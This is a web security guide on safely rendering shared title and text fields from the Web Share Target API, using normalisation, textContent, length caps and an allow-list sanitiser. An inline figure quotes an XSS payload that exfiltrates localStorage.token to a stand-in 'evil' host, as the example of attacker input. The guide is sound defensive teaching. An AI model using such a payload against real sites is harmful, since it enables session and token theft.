Sanitising Shared Text Before Rendering

This guide is part of Securing Incoming Shared Payloads, which itself is part of Web Share Target API.

The title and text fields of an incoming share are strings from an unknown author. They arrive through the share sheet, which makes them feel vetted, but the endpoint that receives them is a plain URL any page can navigate to. Rendering them is therefore an output-encoding problem, and the correct answer is smaller than most teams expect: textContent, plus a little normalisation.

Feature Detection Gate

Nothing here needs an API, so the gate is a shape check on the payload itself.

// shared-fields.js
const MAX_TITLE = 300;
const MAX_TEXT = 20_000;

export function readSharedFields(params) {
  return {
    title: normaliseText(params.get('title'), MAX_TITLE),
    text: normaliseText(params.get('text'), MAX_TEXT),
    rawUrl: params.get('url')            // validated separately — never rendered raw
  };
}

export function normaliseText(value, maxLength) {
  if (typeof value !== 'string') return '';
  return value
    .normalize('NFC')                                  // canonical Unicode form
    .replace(/[\u0000-\u001F\u007F-\u009F]/g, '')     // control characters
    .replace(/[\u202A-\u202E\u2066-\u2069]/g, '')     // bidi overrides
    .replace(/\s+/g, ' ')
    .trim()
    .slice(0, maxLength);
}

Four transformations, each for a specific reason. NFC normalisation means two visually identical strings compare equal, which matters for deduplication. Control characters are stripped because they can truncate a line in a log or a terminal. Bidirectional overrides are stripped because they reverse the rendered order of everything after them, so a title can display as something completely different from the value you stored. And the length cap bounds every downstream cost.

innerHTML Versus textContent The same shared title containing a script tag is rendered two ways. Assigned to innerHTML it is parsed as markup and the script executes on your origin with full access to storage and the session. Assigned to textContent it becomes a text node and the markup is displayed literally as characters. shared title = <img src=x onerror="fetch('//evil/'+localStorage.token)"> el.innerHTML = title HTML parser runs on attacker input onerror fires on your origin session, storage and SW exposed persisted → the injection survives reloads el.textContent = title a text node is created — no parsing the tag is shown as literal characters no dependency, no sanitiser needed safe for every string, always

Step 1 — Build the DOM Programmatically

Constructing elements and assigning textContent removes the HTML parser from the path entirely.

// render-shared-text.js
import { readSharedFields } from './shared-fields.js';

export function renderShared(container, params) {
  const { title, text } = readSharedFields(params);
  container.replaceChildren();

  const heading = document.createElement('h2');
  heading.textContent = title || 'Untitled share';
  container.append(heading);

  if (text) {
    // Preserve paragraph breaks without ever parsing markup.
    for (const paragraph of text.split(/\n{2,}/)) {
      const p = document.createElement('p');
      p.textContent = paragraph;
      container.append(p);
    }
  }
}

Splitting on blank lines before creating each paragraph gives readable output without touching innerHTML. Where the original single newlines matter, white-space: pre-wrap in CSS preserves them — a presentation concern solved in the stylesheet rather than by generating <br> elements.

Step 2 — Cap Length Before Anything Else Sees It

Length limits are not only about storage. An unbounded string flows into layout, into IndexedDB, into any log line, and into every comparison.

// caps.js
export const CAPS = { title: 300, text: 20_000, url: 2048 };

export function withinCaps(fields) {
  return Object.entries(CAPS).every(([key, max]) => (fields[key]?.length ?? 0) <= max);
}

export function summarise(text, max = 160) {
  if (text.length <= max) return text;
  const cut = text.slice(0, max);
  const lastSpace = cut.lastIndexOf(' ');
  return `${lastSpace > max * 0.6 ? cut.slice(0, lastSpace) : cut}`;
}

Truncate rather than reject for text fields: a very long note is a usability problem, not an attack, and silently dropping the whole share because someone pasted an article is worse than showing the first part of it. Files are the opposite case — those should fail outright, as limiting shared payload size in a service worker covers.

Step 3 — Use a Sanitiser Only for Genuine Markup

If the product requires rich text — a shared note that should keep emphasis and lists — then and only then does a sanitiser earn its place, configured with an explicit allow-list.

// rich-text.js
const ALLOWED_TAGS = ['p', 'br', 'strong', 'em', 'ul', 'ol', 'li', 'code', 'pre', 'blockquote'];

export function renderRich(container, html, sanitize) {
  // `sanitize` is an allow-list sanitiser: no script, no event handlers, no styles.
  const safe = sanitize(html, { allowedTags: ALLOWED_TAGS, allowedAttributes: {} });
  container.innerHTML = safe;

  // Links are rebuilt rather than trusted, even after sanitisation.
  for (const anchor of container.querySelectorAll('a')) {
    const href = safeHttpUrl(anchor.getAttribute('href'));
    if (!href) { anchor.replaceWith(anchor.textContent); continue; }
    anchor.href = href;
    anchor.rel = 'noopener noreferrer nofollow';
    anchor.target = '_blank';
  }
}

Note the empty allowedAttributes. Attributes are where most sanitiser bypasses live — style, href, srcset, anything beginning with on — and a share preview needs none of them. Rebuilding links afterwards adds the scheme check that a tag-level allow-list does not perform.

Choosing a Rendering Strategy A single question decides the approach: does the product need to display formatting from the shared value? If not, textContent is used and no dependency is added. If it does, an allow-list sanitiser runs with no permitted attributes, and links are rebuilt with a validated scheme afterwards. must formatting be preserved? no textContent — the default no parser, no dependency, safe for every input yes allow-list sanitiser tags: p, strong, em, ul, ol, li, code — attributes: none then rebuild every link with a validated scheme normalise + cap length in both cases Why Bidi Overrides Are Stripped A right-to-left override character reverses the visual order of the text that follows it, so the string an application stores and compares can render as something quite different. Removing the character keeps what is displayed aligned with what is held. override left in place stored value and rendered value differ — moderation and comparison see different strings U+202A–U+202E and U+2066–U+2069 removed what the user reads is exactly what the application stored, hashed and displayed

Failure Modes and Recovery

Symptom Cause Minimal fix
Script runs from a shared title Value assigned to innerHTML Assign to textContent
Preview text renders backwards Bidi override characters in the payload Strip U+202AU+202E and U+2066U+2069
Layout breaks on a long share No length cap Truncate title and text on ingest
Duplicate detection misses matches Mixed Unicode normalisation forms normalize('NFC') before comparing
Sanitised markup still navigates oddly Attributes allowed through Empty allowedAttributes; rebuild links
Log lines corrupted Control characters preserved Strip them during normalisation

Browser and Platform Caveat

textContent, String.prototype.normalize and replaceChildren are available in every browser that can register a share target, so none of this needs a fallback. Two notes about context. Share targets are Chromium-only today, which means this code runs on Android, ChromeOS and desktop PWAs — but the same handler is often reachable directly by URL from any browser, so the validation cannot be conditional on share-target support. And a GET target receives these fields as query parameters, which land in browsing history and referrer headers; sanitising the render does nothing about that exposure, so anything sensitive belongs on a POST target as handling GET vs POST share targets explains.

Sanitise Late, Store Raw

A question that comes up once the pipeline is working: should the normalised text be what gets stored, or should the original be kept alongside it?

Store the normalised form as the working value, because everything downstream — display, comparison, deduplication — should agree on one representation. But keep the raw string too where storage allows it, since a normalisation bug is otherwise unrecoverable: once control characters have been stripped and whitespace collapsed, there is no way to reconstruct what actually arrived.

The rule that matters more, though, is where sanitisation happens relative to rendering. Escaping on ingest and trusting the stored value later is how stored cross-site scripting survives a refactor. Render through textContent every time, regardless of what was done on the way in.

FAQ

Is textContent really enough to prevent cross-site scripting?

For rendering plain text, yes. textContent sets a text node and never invokes the HTML parser, so markup in the value has no way to become elements. The risk returns the moment that value is used to build markup, a URL, or an attribute — those need their own validation.

Why remove bidirectional control characters?

Characters such as U+202E reverse the visual order of the text that follows, so a title can render as something quite different from the string your code stored and compared. Stripping them keeps what the user sees aligned with what the application holds.

When do I actually need a sanitiser library?

Only when you intend to render markup — a rich-text note that should keep its emphasis and lists. Then run an allow-list sanitiser over elements and attributes. If the shared value is displayed as plain text, a sanitiser adds a dependency and no safety over textContent.